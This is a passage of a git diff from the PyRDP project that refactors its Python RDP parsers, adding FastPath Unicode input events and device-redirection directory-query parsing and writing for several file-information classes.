-> FastPathUnicodeEvent: + released = eventHeader & 1 != 0 + text = stream.read(2) + + try: + text = text.decode("utf-16le") + except UnicodeError: + pass + + return FastPathUnicodeEvent(text, released) + def write(self, event: FastPathEvent) -> bytes: if isinstance(event, FastPathEventRaw): @@ -276,21 +300,38 @@ def write(self, event: FastPathEvent) -> bytes: return self.writeScanCodeEvent(event) elif isinstance(event, FastPathMouseEvent): return self.writeMouseEvent(event) + elif isinstance(event, FastPathUnicodeEvent): + return self.writeUnicodeEvent(event) + raise ValueError("Invalid FastPath event: {}".format(event)) + def writeScanCodeEvent(self, event: FastPathScanCodeEvent) -> bytes: - raw_data = BytesIO() - Uint8.pack(event.rawHeaderByte, raw_data) - Uint8.pack(event.scancode, raw_data) - return raw_data.getvalue() + stream = BytesIO() + Uint8.pack(event.rawHeaderByte | int(event.isReleased), stream) + Uint8.pack(event.scanCode, stream) + return stream.getvalue() + def writeMouseEvent(self, event: FastPathMouseEvent) -> bytes: - rawData = BytesIO() - Uint8.pack(event.rawHeaderByte, rawData) - Uint16LE.pack(event.pointerFlags, rawData) - Uint16LE.pack(event.mouseX, rawData) - Uint16LE.pack(event.mouseY, rawData) - return rawData.getvalue() + stream = BytesIO() + Uint8.pack(event.rawHeaderByte, stream) + Uint16LE.pack(event.pointerFlags, stream) + Uint16LE.pack(event.mouseX, stream) + Uint16LE.pack(event.mouseY, stream) + return stream.getvalue() + + + def writeUnicodeEvent(self, event: FastPathUnicodeEvent): + stream = BytesIO() + Uint8.pack(int(event.released) | (FastPathInputType.FASTPATH_INPUT_EVENT_UNICODE << 5), stream) + + if isinstance(event.text, bytes): + stream.write(event.text[: 2].ljust(2, b"\x00")) + elif isinstance(event.text, str): + stream.write(event.text[: 1].ljust(1, "\x00").encode("utf-16le")) + + return stream.getvalue() class FastPathOutputParser(Parser): @@ -339,6 +380,7 @@ def parse(self, data: bytes) -> FastPathOutputEvent: eventType = header & 0xf fragmentation = header & 0b00110000 != 0 + if fragmentation: log.debug("Fragmentation is present in output fastpath event packets." " Not parsing it and saving to FastPathOutputUpdateEvent.") diff --git a/pyrdp/parser/rdp/virtual_channel/__init__.py b/pyrdp/parser/rdp/virtual_channel/__init__.py index e69de29bb..3b1dd6904 100644 --- a/pyrdp/parser/rdp/virtual_channel/__init__.py +++ b/pyrdp/parser/rdp/virtual_channel/__init__.py @@ -0,0 +1,5 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# \ No newline at end of file diff --git a/pyrdp/parser/rdp/virtual_channel/device_redirection.py b/pyrdp/parser/rdp/virtual_channel/device_redirection.py index 557f369b4..9914ae214 100644 --- a/pyrdp/parser/rdp/virtual_channel/device_redirection.py +++ b/pyrdp/parser/rdp/virtual_channel/device_redirection.py @@ -5,19 +5,20 @@ # from io import BytesIO -from typing import Dict, Tuple +from typing import Dict, List, Union -from pyrdp.core import Uint16LE, Uint32LE, Uint64LE -from pyrdp.enum import DeviceRedirectionComponent, DeviceRedirectionPacketID, DeviceType, \ - GeneralCapabilityVersion, MajorFunction -from pyrdp.enum.virtual_channel.device_redirection import RDPDRCapabilityType -from pyrdp.logging import log +from pyrdp.core import decodeUTF16LE, Uint16LE, Uint32LE, Uint64LE, Uint8 +from pyrdp.enum import DeviceRedirectionComponent, DeviceRedirectionPacketID, DeviceType, FileAttributes, \ + FileCreateDisposition, FileCreateOptions, FileShareAccess, FileSystemInformationClass, GeneralCapabilityVersion, \ + MajorFunction, MinorFunction, RDPDRCapabilityType from pyrdp.parser import Parser from pyrdp.pdu import DeviceAnnounce, DeviceCloseRequestPDU, DeviceCloseResponsePDU, DeviceCreateRequestPDU, \ - DeviceCreateResponsePDU, DeviceIORequestPDU, DeviceIOResponsePDU, DeviceListAnnounceRequest, DeviceReadRequestPDU, \ + DeviceCreateResponsePDU, DeviceDirectoryControlResponsePDU, DeviceIORequestPDU, DeviceIOResponsePDU, \ + DeviceListAnnounceRequest, DeviceQueryDirectoryRequestPDU, DeviceQueryDirectoryResponsePDU, DeviceReadRequestPDU, \ DeviceReadResponsePDU, DeviceRedirectionCapabilitiesPDU, DeviceRedirectionCapability, \ DeviceRedirectionClientCapabilitiesPDU, DeviceRedirectionGeneralCapability, DeviceRedirectionPDU, \ - DeviceRedirectionServerCapabilitiesPDU + DeviceRedirectionServerCapabilitiesPDU, FileBothDirectoryInformation, FileDirectoryInformation, \ + FileFullDirectoryInformation, FileNamesInformation class DeviceRedirectionParser(Parser): @@ -44,46 +45,78 @@ def __init__(self): DeviceRedirectionPacketID.PAKID_CORE_SERVER_CAPABILITY: self.writeCapabilities, } + self.capabilityParsers: Dict[RDPDRCapabilityType, callable] = { + RDPDRCapabilityType.CAP_GENERAL_TYPE: self.parseGeneralCapability, + } + + self.capabilityWriters: Dict[RDPDRCapabilityType, callable] = { + RDPDRCapabilityType.CAP_GENERAL_TYPE: self.writeGeneralCapability, + } + self.ioRequestParsers: Dict[MajorFunction, callable] = { MajorFunction.IRP_MJ_CREATE: self.parseDeviceCreateRequest, MajorFunction.IRP_MJ_READ: self.parseDeviceReadRequest, MajorFunction.IRP_MJ_CLOSE: self.parseDeviceCloseRequest, + MajorFunction.IRP_MJ_DIRECTORY_CONTROL: self.parseDirectoryControlRequest, } self.ioRequestWriters: Dict[MajorFunction, callable] = { MajorFunction.IRP_MJ_CREATE: self.writeDeviceCreateRequest, MajorFunction.IRP_MJ_READ: self.writeDeviceReadRequest, MajorFunction.IRP_MJ_CLOSE: self.writeDeviceCloseRequest, + MajorFunction.IRP_MJ_DIRECTORY_CONTROL: self.writeDirectoryControlRequest, } - self.ioResponseWriters: Dict[type, callable] = { - DeviceCreateResponsePDU: self.writeDeviceCreateResponse, - DeviceReadResponsePDU: self.writeDeviceReadResponse, - DeviceCloseResponsePDU: self.writeDeviceCloseResponse, + self.ioResponseParsers: Dict[MajorFunction, callable] = { + MajorFunction.IRP_MJ_CREATE: self.parseDeviceCreateResponse, + MajorFunction.IRP_MJ_READ: self.parseDeviceReadResponse, + MajorFunction.IRP_MJ_CLOSE: self.parseDeviceCloseResponse, + MajorFunction.IRP_MJ_DIRECTORY_CONTROL: self.parseDirectoryControlResponse, } + self.ioResponseWriters: Dict[MajorFunction, callable] = { + MajorFunction.IRP_MJ_CREATE: self.writeDeviceCreateResponse, + MajorFunction.IRP_MJ_READ: self.writeDeviceReadResponse, + MajorFunction.IRP_MJ_CLOSE: self.writeDeviceCloseResponse, + MajorFunction.IRP_MJ_DIRECTORY_CONTROL: self.writeDirectoryControlResponse, + } + + self.fileInformationParsers: Dict[FileSystemInformationClass, callable] = { + FileSystemInformationClass.FileDirectoryInformation: self.parseFileDirectoryInformation, + FileSystemInformationClass.FileFullDirectoryInformation: self.parseFileFullDirectoryInformation, + FileSystemInformationClass.FileBothDirectoryInformation: self.parseFileBothDirectoryInformation, + FileSystemInformationClass.FileNamesInformation: self.parseFileNamesInformation, + } + + self.fileInformationWriters: Dict[FileSystemInformationClass, callable] = { + FileSystemInformationClass.FileDirectoryInformation: self.writeFileDirectoryInformation, + FileSystemInformationClass.FileFullDirectoryInformation: self.writeFileFullDirectoryInformation, + FileSystemInformationClass.FileBothDirectoryInformation: self.writeFileBothDirectoryInformation, + FileSystemInformationClass.FileNamesInformation: self.writeFileNamesInformation, + } + + # Dictionary to keep track of information associated to each completion ID. + self.majorFunctionsForParsingResponse: Dict[int, MajorFunction] = {} + self.minorFunctionsForParsingResponse: Dict[int, MinorFunction] = {} + self.informationClassForParsingResponse: Dict[int, FileSystemInformationClass] = {} def parse(self, data: bytes) -> DeviceRedirectionPDU: stream = BytesIO(data) - unpack = Uint16LE.unpack(stream) - component = DeviceRedirectionComponent(unpack) - packetId = DeviceRedirectionPacketID(Uint16LE.unpack(stream)) - - if component == DeviceRedirectionComponent.RDPDR_CTYP_PRN: - log.warning("Received Printing component packets, which are not handled. Might cause a crash.") + component = DeviceRedirectionComponent(Uint16LE.unpack(stream)) + packetID = DeviceRedirectionPacketID(Uint16LE.unpack(stream)) - if packetId in self.parsers.keys(): - return self.parsers[packetId](stream) + if component == DeviceRedirectionComponent.RDPDR_CTYP_CORE and packetID in self.parsers.keys(): + return self.parsers[packetID](stream) else: - return DeviceRedirectionPDU(component, packetId, payload=stream.read()) + return DeviceRedirectionPDU(component, packetID, payload=stream.read()) def write(self, pdu: DeviceRedirectionPDU) -> bytes: stream = BytesIO() Uint16LE.pack(pdu.component, stream) Uint16LE.pack(pdu.packetID, stream) - if pdu.packetID in self.writers.keys(): + if pdu.component == DeviceRedirectionComponent.RDPDR_CTYP_CORE and pdu.packetID in self.writers.keys(): self.writers[pdu.packetID](pdu, stream) else: stream.write(pdu.payload) @@ -91,112 +124,58 @@ def write(self, pdu: DeviceRedirectionPDU) -> bytes: return stream.getvalue() - - def parseDeviceIORequest(self, stream: BytesIO) -> DeviceIORequestPDU: - """ - Starts after the rdpdr header. - """ - deviceId = Uint32LE.unpack(stream) - fileId = Uint32LE.unpack(stream) - completionId = Uint32LE.unpack(stream) - majorFunction = MajorFunction(Uint32LE.unpack(stream)) - minorFunction = Uint32LE.unpack(stream) - - if majorFunction in self.ioRequestParsers.keys(): - return self.ioRequestParsers[majorFunction](deviceId, fileId, completionId, minorFunction, stream) - else: - return DeviceIORequestPDU(deviceId, fileId, completionId, majorFunction, minorFunction, payload=stream.read()) - - def writeDeviceIORequest(self, pdu: DeviceIORequestPDU, stream: BytesIO): - Uint32LE.pack(pdu.deviceID, stream) - Uint32LE.pack(pdu.fileID, stream) - Uint32LE.pack(pdu.completionID, stream) - Uint32LE.pack(pdu.majorFunction, stream) - Uint32LE.pack(pdu.minorFunction, stream) - - if pdu.majorFunction in self.ioRequestWriters.keys(): - self.ioRequestWriters[pdu.majorFunction](pdu, stream) - else: - stream.write(pdu.payload) - - - - def parseDeviceIOResponse(self, stream: BytesIO) -> DeviceIOResponsePDU: - """ - Starts after the rdpdr header. - """ - deviceId = Uint32LE.unpack(stream) - completionId = Uint32LE.unpack(stream) - ioStatus = Uint32LE.unpack(stream) - payload = stream.read() - - return DeviceIOResponsePDU(deviceId, completionId, ioStatus, payload=payload) - - def writeDeviceIOResponse(self, pdu: DeviceIOResponsePDU, stream: BytesIO): - Uint32LE.pack(pdu.deviceID, stream) - Uint32LE.pack(pdu.completionID, stream) - Uint32LE.pack(pdu.ioStatus, stream) - - if type(pdu) in self.ioResponseWriters.keys(): - self.ioResponseWriters[type(pdu)](pdu, stream) - else: - stream.write(pdu.payload) - - - def parseDeviceListAnnounce(self, stream: BytesIO) -> DeviceListAnnounceRequest: deviceCount = Uint32LE.unpack(stream) - deviceList = [] - - for i in range(deviceCount): - deviceList.append(self.parseSingleDeviceAnnounce(stream)) - + deviceList = [self.parseDeviceAnnounce(stream) for _ in range(deviceCount)] return DeviceListAnnounceRequest(deviceList) def writeDeviceListAnnounce(self, pdu: DeviceListAnnounceRequest, stream: BytesIO): Uint32LE.pack(len(pdu.deviceList), stream) for device in pdu.deviceList: - self.writeSingleDeviceAnnounce(device, stream) + self.writeDeviceAnnounce(device, stream) - def parseSingleDeviceAnnounce(self, stream: BytesIO): + def parseDeviceAnnounce(self, stream: BytesIO) -> DeviceAnnounce: deviceType = DeviceType(Uint32LE.unpack(stream)) - deviceId = Uint32LE.unpack(stream) - preferredDosName = stream.read(8) + deviceID = Uint32LE.unpack(stream) + preferredDOSName = stream.read(8) deviceDataLength = Uint32LE.unpack(stream) deviceData = stream.read(deviceDataLength) - return DeviceAnnounce(deviceType, deviceId, preferredDosName, deviceData) + preferredDOSName = preferredDOSName.decode(errors = "ignore")[: 7] + endIndex = preferredDOSName.index("\x00") + + if endIndex >= 0: + preferredDOSName = preferredDOSName[: endIndex] + + return DeviceAnnounce(deviceType, deviceID, preferredDOSName, deviceData) - def writeSingleDeviceAnnounce(self, pdu: DeviceAnnounce, stream: BytesIO): + def writeDeviceAnnounce(self, pdu: DeviceAnnounce, stream: BytesIO): Uint32LE.pack(pdu.deviceType, stream) Uint32LE.pack(pdu.deviceID, stream) - stream.write(pdu.preferredDosName) + stream.write(pdu.preferredDOSName.encode().ljust(7, b"\x00")[: 7] + b"\x00") Uint32LE.pack(len(pdu.deviceData), stream) stream.write(pdu.deviceData) def parseClientCapabilities(self, stream: BytesIO) -> DeviceRedirectionClientCapabilitiesPDU: - numCapabilities = Uint16LE.unpack(stream) - stream.read(2) # Padding - capabilities = self.parseCapabilities(numCapabilities, stream) - + capabilities = self.parseCapabilities(stream) return DeviceRedirectionClientCapabilitiesPDU(capabilities) def parseServerCapabilities(self, stream: BytesIO) -> DeviceRedirectionServerCapabilitiesPDU: + capabilities = self.parseCapabilities(stream) + return DeviceRedirectionServerCapabilitiesPDU(capabilities) + + def parseCapabilities(self, stream: BytesIO) -> Dict[RDPDRCapabilityType, DeviceRedirectionCapability]: numCapabilities = Uint16LE.unpack(stream) stream.read(2) # Padding - capabilities = self.parseCapabilities(numCapabilities, stream) - return DeviceRedirectionServerCapabilitiesPDU(capabilities) - - def parseCapabilities(self, numCapabilities: int, stream: BytesIO) -> Dict[RDPDRCapabilityType, DeviceRedirectionCapability]: capabilities = {} - for i in range(numCapabilities): - capabilityType, capability = self.parseSingleCapability(stream) - capabilities[capabilityType] = capability + for _ in range(numCapabilities): + capability = self.parseCapability(stream) + capabilities[capability.capabilityType] = capability return capabilities @@ -205,28 +184,26 @@ def writeCapabilities(self, pdu: DeviceRedirectionCapabilitiesPDU, stream: Bytes stream.write(b"\x00" * 2) # Padding for capability in pdu.capabilities.values(): - self.writeSingleCapability(capability, stream) + self.writeCapability(capability, stream) - def parseSingleCapability(self, stream: BytesIO) -> Tuple[RDPDRCapabilityType, DeviceRedirectionCapability]: - """ - https://msdn.microsoft.com/en-us/library/cc241325.aspx - """ + + def parseCapability(self, stream: BytesIO) -> DeviceRedirectionCapability: capabilityType = RDPDRCapabilityType(Uint16LE.unpack(stream)) capabilityLength = Uint16LE.unpack(stream) version = Uint32LE.unpack(stream) payload = stream.read(capabilityLength - 8) - if capabilityType == RDPDRCapabilityType.CAP_GENERAL_TYPE: - return capabilityType, self.parseGeneralCapability(version, payload) + if capabilityType in self.capabilityParsers: + return self.capabilityParsers[capabilityType](version, payload) else: - return capabilityType, DeviceRedirectionCapability(capabilityType, version, payload=payload) + return DeviceRedirectionCapability(capabilityType, version, payload) - def writeSingleCapability(self, capability: DeviceRedirectionCapability, stream: BytesIO): + def writeCapability(self, capability: DeviceRedirectionCapability, stream: BytesIO): Uint16LE.pack(capability.capabilityType, stream) substream = BytesIO() - if isinstance(capability, DeviceRedirectionGeneralCapability): - self.writeGeneralCapability(capability, substream) + if capability.capabilityType in self.capabilityWriters: + self.capabilityWriters[capability.capabilityType](capability, substream) else: substream.write(capability.payload) @@ -234,6 +211,7 @@ def writeSingleCapability(self, capability: DeviceRedirectionCapability, stream: Uint32LE.pack(capability.version, stream) stream.write(substream.getvalue()) + def parseGeneralCapability(self, version: int, payload: bytes) -> DeviceRedirectionGeneralCapability: stream = BytesIO(payload) osType = Uint32LE.unpack(stream) @@ -250,9 +228,19 @@ def parseGeneralCapability(self, version: int, payload: bytes) -> DeviceRedirect if version == GeneralCapabilityVersion.GENERAL_CAPABILITY_VERSION_02: specialTypeDeviceCap = Uint32LE.unpack(stream) - return DeviceRedirectionGeneralCapability(version, osType, osVersion, protocolMajorVersion, - protocolMinorVersion, ioCode1, ioCode2, extendedPDU, extraFlags1, - extraFlags2, specialTypeDeviceCap) + return DeviceRedirectionGeneralCapability( + version, + osType, + osVersion, + protocolMajorVersion, + protocolMinorVersion, + ioCode1, + ioCode2, + extendedPDU, + extraFlags1, + extraFlags2, + specialTypeDeviceCap + ) def writeGeneralCapability(self, capability: DeviceRedirectionGeneralCapability, stream: BytesIO): Uint32LE.pack(capability.osType, stream) @@ -266,46 +254,132 @@ def writeGeneralCapability(self, capability: DeviceRedirectionGeneralCapability, Uint32LE.pack(capability.extraFlags2, stream) if capability.version == GeneralCapabilityVersion.GENERAL_CAPABILITY_VERSION_02: - Uint32LE.pack(capability.specialTypeDeviceCap, stream) + Uint32LE.pack(capability.specialTypeDeviceCap or 0, stream) + def parseDeviceIORequest(self, stream: BytesIO) -> DeviceIORequestPDU: + deviceID = Uint32LE.unpack(stream) + fileID = Uint32LE.unpack(stream) + completionID = Uint32LE.unpack(stream) + majorFunction = MajorFunction(Uint32LE.unpack(stream)) + minorFunction = Uint32LE.unpack(stream) - def parseDeviceCreateRequest(self, deviceId: int, fileId: int, completionId: int, minorFunction: int, stream: BytesIO) -> DeviceCreateRequestPDU: - """ - Starting at desiredAccess. - """ + if majorFunction == MajorFunction.IRP_MJ_DIRECTORY_CONTROL: + minorFunction = MinorFunction(minorFunction) + + if majorFunction in self.ioRequestParsers.keys(): + self.majorFunctionsForParsingResponse[completionID] = majorFunction + return self.ioRequestParsers[majorFunction](deviceID, fileID, completionID, minorFunction, stream) + else: + return DeviceIORequestPDU(deviceID, fileID, completionID, majorFunction, minorFunction, payload=stream.read()) + + def writeDeviceIORequest(self, pdu: DeviceIORequestPDU, stream: BytesIO): + Uint32LE.pack(pdu.deviceID, stream) + Uint32LE.pack(pdu.fileID, stream) + Uint32LE.pack(pdu.completionID, stream) + Uint32LE.pack(pdu.majorFunction, stream) + Uint32LE.pack(pdu.minorFunction, stream) + + if pdu.majorFunction in self.ioRequestWriters.keys(): + # Make sure to register the PDU's major function when we write too, in case this is a forged PDU. + self.majorFunctionsForParsingResponse[pdu.completionID] = pdu.majorFunction + self.ioRequestWriters[pdu.majorFunction](pdu, stream) + else: + stream.write(pdu.payload) + + + def parseDeviceIOResponse(self, stream: BytesIO) -> DeviceIOResponsePDU: + deviceID = Uint32LE.unpack(stream) + completionID = Uint32LE.unpack(stream) + ioStatus = Uint32LE.unpack(stream) + + majorFunction = self.majorFunctionsForParsingResponse.pop(completionID, None) + + if majorFunction in self.ioResponseParsers: + return self.ioResponseParsers[majorFunction](deviceID, completionID, ioStatus, stream) + else: + # If for some reason, we don't know this completionID, we also return a raw response PDU (because majorFunction is None). + payload = stream.read() + return DeviceIOResponsePDU(majorFunction, deviceID, completionID, ioStatus, payload) + + def writeDeviceIOResponse(self, pdu: DeviceIOResponsePDU, stream: BytesIO): + Uint32LE.pack(pdu.deviceID, stream) + Uint32LE.pack(pdu.completionID, stream) + Uint32LE.pack(pdu.ioStatus, stream) + + if pdu.majorFunction in self.ioResponseWriters: + self.ioResponseWriters[pdu.majorFunction](pdu, stream) + else: + stream.write(pdu.payload) + + + def parseDeviceCreateRequest(self, deviceID: int, fileID: int, completionID: int, minorFunction: int, stream: BytesIO) -> DeviceCreateRequestPDU: desiredAccess = Uint32LE.unpack(stream) allocationSize = Uint64LE.unpack(stream) - fileAttributes = Uint32LE.unpack(stream) - sharedAccess = Uint32LE.unpack(stream) - createDisposition = Uint32LE.unpack(stream) - createOptions = Uint32LE.unpack(stream) + fileAttributes = FileAttributes(Uint32LE.unpack(stream)) + sharedAccess = FileShareAccess(Uint32LE.unpack(stream)) + createDisposition = FileCreateDisposition(Uint32LE.unpack(stream)) + createOptions = FileCreateOptions(Uint32LE.unpack(stream)) pathLength = Uint32LE.unpack(stream) path = stream.read(pathLength) - return DeviceCreateRequestPDU(deviceId, fileId, completionId, minorFunction, desiredAccess, allocationSize, - fileAttributes, sharedAccess, createDisposition, createOptions, path) + path = decodeUTF16LE(path)[: -1] + + return DeviceCreateRequestPDU( + deviceID, + fileID, + completionID, + minorFunction, + desiredAccess, + allocationSize, + fileAttributes, + sharedAccess, + createDisposition, + createOptions, + path + ) def writeDeviceCreateRequest(self, pdu: DeviceCreateRequestPDU, stream: BytesIO): + path = (pdu.path + "\x00").encode("utf-16le") + Uint32LE.pack(pdu.desiredAccess, stream) Uint64LE.pack(pdu.allocationSize, stream) Uint32LE.pack(pdu.fileAttributes, stream) Uint32LE.pack(pdu.sharedAccess, stream) Uint32LE.pack(pdu.createDisposition, stream) Uint32LE.pack(pdu.createOptions, stream) - Uint32LE.pack(len(pdu.path), stream) - stream.write(pdu.path) - + Uint32LE.pack(len(path), stream) + stream.write(path) - def parseDeviceReadRequest(self, deviceId: int, fileId: int, completionId: int, minorFunction: int, stream: BytesIO) -> DeviceReadRequestPDU: + def parseDeviceCreateResponse(self, deviceID: int, completionID: int, ioStatus: int, stream: BytesIO) -> DeviceCreateResponsePDU: """ - Starting at length, just before offset + The information field is not yet parsed (it's optional). + This one is a bit special since we need to look at previous packet before parsing it as + a read response, and we need the packet data. """ + fileID = Uint32LE.unpack(stream) + information = stream.read(1) + + if information == "": + information = 0 + else: + information = Uint8.unpack(information) + + return DeviceCreateResponsePDU(deviceID, completionID, ioStatus, fileID, information) + + def writeDeviceCreateResponse(self, pdu: DeviceCreateResponsePDU, stream: BytesIO): + Uint32LE.pack(pdu.fileID, stream) + Uint8.pack(pdu.information) + + + + def parseDeviceReadRequest(self, deviceID: int, fileID: int, completionID: int, minorFunction: int, stream: BytesIO) -> DeviceReadRequestPDU: length = Uint32LE.unpack(stream) offset = Uint64LE.unpack(stream) + stream.read(20) # Padding - return DeviceReadRequestPDU(deviceId, fileId, completionId, minorFunction, length, offset) + return DeviceReadRequestPDU(deviceID, fileID, completionID, minorFunction, length, offset) def writeDeviceReadRequest(self, pdu: DeviceReadRequestPDU, stream: BytesIO): Uint32LE.pack(pdu.length, stream) @@ -313,49 +387,369 @@ def writeDeviceReadRequest(self, pdu: DeviceReadRequestPDU, stream: BytesIO): stream.write(b"\x00" * 20) # Padding + def parseDeviceReadResponse(self, deviceID: int, completionID: int, ioStatus: int, stream: BytesIO) -> DeviceReadResponsePDU: + length = Uint32LE.unpack(stream) + payload = stream.read(length) + + return DeviceReadResponsePDU(deviceID, completionID, ioStatus, payload) + + def writeDeviceReadResponse(self, pdu: DeviceReadResponsePDU, stream: BytesIO): + Uint32LE.pack(len(pdu.payload), stream) + stream.write(pdu.payload) + - def parseDeviceCloseRequest(self, deviceId: int, fileId: int, completionId: int, minorFunction: int, _: BytesIO) -> DeviceCloseRequestPDU: - return DeviceCloseRequestPDU(deviceId, fileId, completionId, minorFunction) + def parseDeviceCloseRequest(self, deviceID: int, fileID: int, completionID: int, minorFunction: int, stream: BytesIO) -> DeviceCloseRequestPDU: + stream.read(32) # Padding + return DeviceCloseRequestPDU(deviceID, fileID, completionID, minorFunction) def writeDeviceCloseRequest(self, _: DeviceCloseRequestPDU, stream: BytesIO): stream.write(b"\x00" * 32) # Padding + def parseDeviceCloseResponse(self, deviceID: int, completionID: int, ioStatus: int, stream: BytesIO) -> DeviceCloseResponsePDU: + stream.read(4) # Padding + return DeviceCloseResponsePDU(deviceID, completionID, ioStatus) - def parseDeviceCreateResponse(self, pdu: DeviceIOResponsePDU) -> DeviceCreateResponsePDU: - """ - The information field is not yet parsed (it's optional). - This one is a bit special since we need to look at previous packet before parsing it as - a read response, and we need the packet data. - """ - stream = BytesIO(pdu.payload) - fileId = Uint32LE.unpack(stream) - information = stream.read() + def writeDeviceCloseResponse(self, _: DeviceCloseResponsePDU, stream: BytesIO): + stream.write(b"\x00" * 4) # Padding - return DeviceCreateResponsePDU(pdu.deviceID, pdu.completionID, pdu.ioStatus, fileId, information) - def writeDeviceCreateResponse(self, pdu: DeviceCreateResponsePDU, stream: BytesIO): - Uint32LE.pack(pdu.fileID, stream) - stream.write(pdu.information) + def parseDirectoryControlRequest(self, deviceID: int, fileID: int, completionID: int, minorFunction: int, stream: BytesIO) -> DeviceIORequestPDU: + self.minorFunctionsForParsingResponse[completionID] = MinorFunction(minorFunction) + if minorFunction == MinorFunction.IRP_MN_NOTIFY_CHANGE_DIRECTORY: + return DeviceIORequestPDU(deviceID, fileID, completionID, MajorFunction.IRP_MJ_DIRECTORY_CONTROL, minorFunction, stream.read()) + else: + informationClass = FileSystemInformationClass(Uint32LE.unpack(stream)) + initialQuery = Uint8.unpack(stream) + pathLength = Uint32LE.unpack(stream) + stream.read(23) + path = stream.read(pathLength) + path = decodeUTF16LE(path)[: -1] + + self.informationClassForParsingResponse[completionID] = informationClass + return DeviceQueryDirectoryRequestPDU(deviceID, fileID, completionID, informationClass, initialQuery, path) + + def writeDirectoryControlRequest(self, pdu: Union[DeviceIORequestPDU, DeviceQueryDirectoryRequestPDU], stream: BytesIO): + self.minorFunctionsForParsingResponse[pdu.completionID] = pdu.minorFunction + + if pdu.minorFunction == MinorFunction.IRP_MN_NOTIFY_CHANGE_DIRECTORY: + stream.write(pdu.payload) + else: + self.informationClassForParsingResponse[pdu.completionID] = pdu.informationClass + path = (pdu.path + "\x00").encode("utf-16le") + + Uint32LE.pack(pdu.informationClass, stream) + Uint8.pack(pdu.initialQuery, stream) + Uint32LE.pack(len(path), stream) + stream.write(b"\x00" * 23) + stream.write(path) + + + def parseDirectoryControlResponse(self, deviceID: int, completionID: int, ioStatus: int, stream: BytesIO) -> DeviceIOResponsePDU: + minorFunction = self.minorFunctionsForParsingResponse.pop(completionID, None) + + if minorFunction is None: + return DeviceIOResponsePDU(None, deviceID, completionID, ioStatus, stream.read()) + elif minorFunction == MinorFunction.IRP_MN_NOTIFY_CHANGE_DIRECTORY: + return DeviceIOResponsePDU(None, deviceID, completionID, ioStatus, stream.read()) + + informationClass = self.informationClassForParsingResponse.pop(completionID) - def parseDeviceReadResponse(self, pdu: DeviceIOResponsePDU) -> DeviceReadResponsePDU: - """ - Starts at length (just before readData). This one is a bit special since we need - to look at previous packet before parsing it as a read response, and we need the packet data. - """ - stream = BytesIO(pdu.payload) length = Uint32LE.unpack(stream) - readData = stream.read(length) + responseData = stream.read(length) + endByte = stream.read(1) - return DeviceReadResponsePDU(pdu.deviceID, pdu.completionID, pdu.ioStatus, readData) + fileInformation = self.fileInformationParsers[informationClass](responseData) - def writeDeviceReadResponse(self, pdu: DeviceReadResponsePDU, stream: BytesIO): - Uint32LE.pack(len(pdu.readData), stream) - stream.write(pdu.readData) + return DeviceQueryDirectoryResponsePDU(deviceID, completionID, ioStatus, informationClass, fileInformation, endByte) + + def writeDirectoryControlResponse(self, pdu: Union[DeviceDirectoryControlResponsePDU, DeviceQueryDirectoryResponsePDU], stream: BytesIO): + if not hasattr(pdu, "minorFunction") or pdu.minorFunction == MinorFunction.IRP_MN_NOTIFY_CHANGE_DIRECTORY: + stream.write(pdu.payload) + return + substream = BytesIO() + self.fileInformationWriters[pdu.informationClass](pdu.fileInformation, substream) + Uint32LE.pack(len(substream.getvalue()), stream) + stream.write(substream.getvalue()) + stream.write(pdu.endByte) - def writeDeviceCloseResponse(self, _: DeviceCloseResponsePDU, stream: BytesIO): - stream.write(b"\x00" * 4) # Padding \ No newline at end of file + + def writeFileInformationList(self, dataList: List[bytes], stream: BytesIO): + currentOffset = 0 + + for index, data in enumerate(dataList): + isLastObject = index == len(dataList) - 1 + + length = len(data) + lengthWithOffset = length + 4 + + if not isLastObject and lengthWithOffset % 8 != 0: + alignmentLength = 8 - lengthWithOffset % 8 + else: + alignmentLength = 0 + + totalLength = lengthWithOffset + alignmentLength + nextOffset = currentOffset + totalLength + currentOffset = nextOffset + + Uint32LE.pack(nextOffset if not isLastObject else 0, stream) + stream.write(data) + stream.write(b"\x00" * alignmentLength) + + + def parseFileDirectoryInformation(self, data: bytes) -> List[FileDirectoryInformation]: + stream = BytesIO(data) + information: [FileDirectoryInformation] = [] + + while stream.tell() < len(data): + nextEntryOffset = Uint32LE.unpack(stream) + fileIndex = Uint32LE.unpack(stream) + creationTime = Uint64LE.unpack(stream) + lastAccessTime = Uint64LE.unpack(stream) + lastWriteTime = Uint64LE.unpack(stream) + lastChangeTime = Uint64LE.unpack(stream) + endOfFilePosition = Uint64LE.unpack(stream) + allocationSize = Uint64LE.unpack(stream) + fileAttributes = FileAttributes(Uint32LE.unpack(stream)) + fileNameLength = Uint32LE.unpack(stream) + fileName = stream.read(fileNameLength) + + if nextEntryOffset == 0: + break + elif stream.tell() % 8 != 0: + stream.read(8 - stream.tell() % 8) # alignment + + fileName = decodeUTF16LE(fileName) + + info = FileDirectoryInformation( + fileIndex, + creationTime, + lastAccessTime, + lastWriteTime, + lastChangeTime, + endOfFilePosition, + allocationSize, + fileAttributes, + fileName + ) + + information.append(info) + + return information + + + def writeFileDirectoryInformation(self, information: List[FileDirectoryInformation], stream: BytesIO): + dataList: [bytes] = [] + + for info in information: + substream = BytesIO() + fileName = info.fileName.encode("utf-16le") + + Uint32LE.pack(info.fileIndex, substream) + Uint64LE.pack(info.creationTime, substream) + Uint64LE.pack(info.lastAccessTime, substream) + Uint64LE.pack(info.lastWriteTime, substream) + Uint64LE.pack(info.lastChangeTime, substream) + Uint64LE.pack(info.endOfFilePosition, substream) + Uint64LE.pack(info.allocationSize, substream) + Uint32LE.pack(info.fileAttributes, substream) + Uint32LE.pack(len(fileName), substream) + substream.write(fileName) + + dataList.append(substream.getvalue()) + + self.writeFileInformationList(dataList, stream) + + + def parseFileFullDirectoryInformation(self, data: bytes) -> List[FileFullDirectoryInformation]: + stream = BytesIO(data) + information: [FileFullDirectoryInformation] = [] + + while stream.tell() < len(data): + nextEntryOffset = Uint32LE.unpack(stream) + fileIndex = Uint32LE.unpack(stream) + creationTime = Uint64LE.unpack(stream) + lastAccessTime = Uint64LE.unpack(stream) + lastWriteTime = Uint64LE.unpack(stream) + lastChangeTime = Uint64LE.unpack(stream) + endOfFilePosition = Uint64LE.unpack(stream) + allocationSize = Uint64LE.unpack(stream) + fileAttributes = FileAttributes(Uint32LE.unpack(stream)) + fileNameLength = Uint32LE.unpack(stream) + eaSize = Uint32LE.unpack(stream) + fileName = stream.read(fileNameLength) + + if nextEntryOffset != 0: + stream.read(8 - stream.tell() % 8) # alignment + break + + fileName = 